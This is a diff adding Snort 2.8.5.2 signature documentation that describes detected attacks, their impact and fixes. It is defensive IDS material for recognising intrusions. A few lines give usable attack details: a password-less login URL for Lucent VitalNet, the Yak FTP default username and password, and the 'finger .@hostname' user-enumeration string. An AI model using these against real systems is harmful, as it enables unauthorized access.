+--
--- snort-2.8.5.2.orig/doc/signatures/3365.txt
+++ snort-2.8.5.2/doc/signatures/3365.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3365
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000854.txt
+++ snort-2.8.5.2/doc/signatures/100000854.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000854
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ListMessenger" application running on a webserver. Access to the file "listmessenger.php" using a remote file being passed as the "lm_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lm_path" parameter in the "listmessenger.php" script used by the "ListMessenger" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ListMessenger
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2614.txt
+++ snort-2.8.5.2/doc/signatures/2614.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2614
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases allow a user to set a time zone for the session.
+The "alter session set time_zone" command contains a programming
+error that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in the parameter for the
+command.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string as the value for this command.
+The result could permit the attacker to gain escalated privileges and
+run code of their choosing. This attack requires an attacker to logon
+to the database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/9587
+
+Other:
+http://www.nextgenss.com/advisories/ora_time_zone.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/463.txt
+++ snort-2.8.5.2/doc/signatures/463.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+463
+
+--
+
+Summary:
+This event is generated when an ICMP Type 7 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 7 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 7 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 7 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000384.txt
+++ snort-2.8.5.2/doc/signatures/100000384.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000384
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ottoman" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "default_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "default_path" parameter in the "index.php" script used by the "Ottoman" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ottoman
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1694.txt
+++ snort-2.8.5.2/doc/signatures/1694.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1694
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/333.txt
+++ snort-2.8.5.2/doc/signatures/333.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+333
+
+--
+Summary:
+This event is generated when a remote user sends a finger request to .@hostname. This may indicate an attempt to discover information about users on the system.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Finger is a directory service on UNIX and Linux operating systems that allows users to obtain basic information about other users, including account name, home directory, and login status. A malicious user could use the string "finger .@hostname" to obtain a list of each user on the system. This may enable the attacker to view unused or inactive accounts, which are more likely to have default passwords that are relatively easy to guess or susceptible to brute force password attempts. 
+
+--
+Affected Systems:
+Any UNIX/Linux distribution with older versions of finger enabled.
+
+--
+Attack Scenarios:
+An attacker issues a finger .@host to the vulnerable server and views a list of users. The attacker then attempts to guess passwords for users with the "Never logged in" status.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A non-malicious user using finger to obtain a user list will cause this rule to trigger.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable finger support on your servers or upgrade to a more recent version of the finger daemon.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3453.txt
+++ snort-2.8.5.2/doc/signatures/3453.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3453
+
+--
+Summary:
+This event is generated when an attempt is made to probe for
+information on a host running Arkeia Client Backup server.
+
+--
+Impact:
+This may be reconnaissance to find version or operating
+system information about the Arkeia Client Backup server
+to later run an appropriate exploit.
+
+--
+Detailed Information:
+By default, Arkeia Client Backup servers do not require any
+authentication for informational requests.  An attacker who
+may be planning to exploit a vulnerable version of the software
+may attempt to request file or system information.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker can attempt to query an Arkeia Client Backup
+server for system or file information.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known. If you run Arkeia Client Backup on your network,
+make sure that your the variable $EXTERNAL_NET is configured
+to reflect IP addresses outside of your network.  Otherwise,
+this rule will alert on valid internal traffic.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2244.txt
+++ snort-2.8.5.2/doc/signatures/2244.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2244
+
+--
+Summary:
+This event is generated when an attempt is made to 
+
+--
+Impact:
+Serious. Unauthorized access.
+
+--
+Detailed Information:
+Certain versions of Lucent VitalNet allow access to resources without
+the need for a password.
+
+--
+Affected Systems:
+	Lucent VitalAnalysis 8.0, 8.1, 8.2
+	Lucent VitalEvent 8.0, 8.1, 8.2
+	Lucent VitalHelp 8.0, 8.1, 8.2
+	Lucent VitalNet 8.0, 8.1, 8.2
+	Lucent VitalSuite 8.0, 8.1, 8.2
+
+--
+Attack Scenarios:
+The attacker merely needs to guess a valid username and can gain access
+without the need for a password.
+
+http://victim.foo.com/cgi-bin/VsSetCookie.exe?vsuser=username
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2451.txt
+++ snort-2.8.5.2/doc/signatures/2451.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2451
+
+--
+Summary:
+This event is generated when a user in your network has successfully registered with a Yahoo Instant Messenger server to receive voice chat messages or is receiving voice chat messages.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+Yahoo IM voice chat allows IM users to exchange audio messages.  This activity may not be appropriate in a corporate environment.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+This particular type of Yahoo IM exchange has no known attacks, however it may represent a policy violation because the host is running Yahoo IM.
+
+--
+Ease of Attack:
+Easy to exchange voice messages.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1376.txt
+++ snort-2.8.5.2/doc/signatures/1376.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1376
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2738.txt
+++ snort-2.8.5.2/doc/signatures/2738.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2738
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_number
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1531.txt
+++ snort-2.8.5.2/doc/signatures/1531.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1531
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/492.txt
+++ snort-2.8.5.2/doc/signatures/492.txt
@@ -0,0 +1,102 @@
+Rule:
+  
+--
+
+Rule:
+--
+Sid:
+492
+
+--
+
+Summary:
+This event is generated when an unsuccessful login attempt was made via telnet.
+
+--
+
+Impact:
+Possible unauthorized access via password brute-forcing
+
+An attacker may have attempted to gain access to a valid user's account 
+via the telnet service, but did not succeed.  The telnet service is 
+running, which uses insecure authentication mechanisms.
+
+--
+
+Detailed Information:
+A user tried to log on to a system via telnet, but has been rejected,
+either due to invalid username, password, or both. This could mean 
+someone is trying to log on without proper password (if there are 
+multiple unsuccessful logins) or they may have just mistyped the 
+username or the password.
+
+The telnet server typically runs on TCP port 23.  Upon access to the
+server, account access is granted based on an unencrypted user name and
+password.  Upon a failed login (resulting from either an invalid account
+or an incorrect password), a login failure message will be returned.
+This rule matches the common text "Login failed".
+
+--
+
+Affected Systems:
+Any system running a telnet server.
+
+--
+
+Attack Scenarios:
+Attackers can, particularly when armed with a valid account name,
+attempt to use guessing attacks or brute-force means to gain access via
+the telnet service.  Many successive events of this type would likely be
+indicative of such an attack.
+
+The use of a telnet server allows the passive attack of traffic
+sniffing, which can extract a username and password from any valid
+login.
+
+--
+
+Ease of Attack:
+Simple.
+
+This event indicates it is possible to perform a brute-force attack; the
+ease of such an attack is dependent upon the strength of passwords, and
+rate-limiting techniques employed by the telnet server in question.
+
+--
+
+False Positives:
+This event will match any badly-typed or -remembered password, and will
+therefore generate a false positive.  Look for rapid successive events.
+
+--
+
+False Negatives:
+If a password is correctly guessed, no failure will be noted.
+
+--
+
+Corrective Action:
+Check how many invalid attempts occurred, change the password of the 
+user that tried to log in.
+
+It is best to avoid using telnet whenever possible; its authentication
+system is lacking, and encryption is generally unavailable.  If your
+telnet server can be configured to temporarily disable access after
+rapid successive failures, it as advised that you do so.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org> and Nick Black, Reflex Security <dank@reflexsecurity.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Telnet RFC:
+http://www.faqs.org/rfcs/rfc854.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/211.txt
+++ snort-2.8.5.2/doc/signatures/211.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+211
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "r00t".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000810.txt
+++ snort-2.8.5.2/doc/signatures/100000810.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000810
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPBB" application running on a webserver. Access to the file "download.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "download.php" script used by the "PHPBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/122-24.txt
+++ snort-2.8.5.2/doc/signatures/122-24.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-24
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered distributed portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2749.txt
+++ snort-2.8.5.2/doc/signatures/2749.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2749
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_delete_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2334.txt
+++ snort-2.8.5.2/doc/signatures/2334.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2334
+
+--
+Summary:
+This event is generated when an attempt is made to access a Yak! FTP
+server using the default username and password.
+
+--
+Impact:
+Administrative access to the server.
+
+--
+Detailed Information:
+Yak FTP servers have a default username and password of "user" and 
+"y049575046", if this is not changed by the administrator it is possible 
+for an attacker to gain unauthorised access to the server.
+
+--
+Affected Systems:
+	Yak FTP servers
+
+--
+Attack Scenarios:
+An attacker merely needs to login to the server using the default 
+username and password.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Change the username and password.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2389.txt
+++ snort-2.8.5.2/doc/signatures/2389.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2389
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd RNTO command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the RNTO command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the RNTO 
+command.
+
+The issue exists in the realpath() function. It is possible for an
+attacker to send malformed data to the realpath() function that will
+cause the overflow condition to occur.
+
+--
+Affected Systems:
+	Multiple systems using affected C libraries, libc
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Recompile binaries statically linked to the system libc implementation
+
+--
+Contributors:
+Sourcefire Research Team
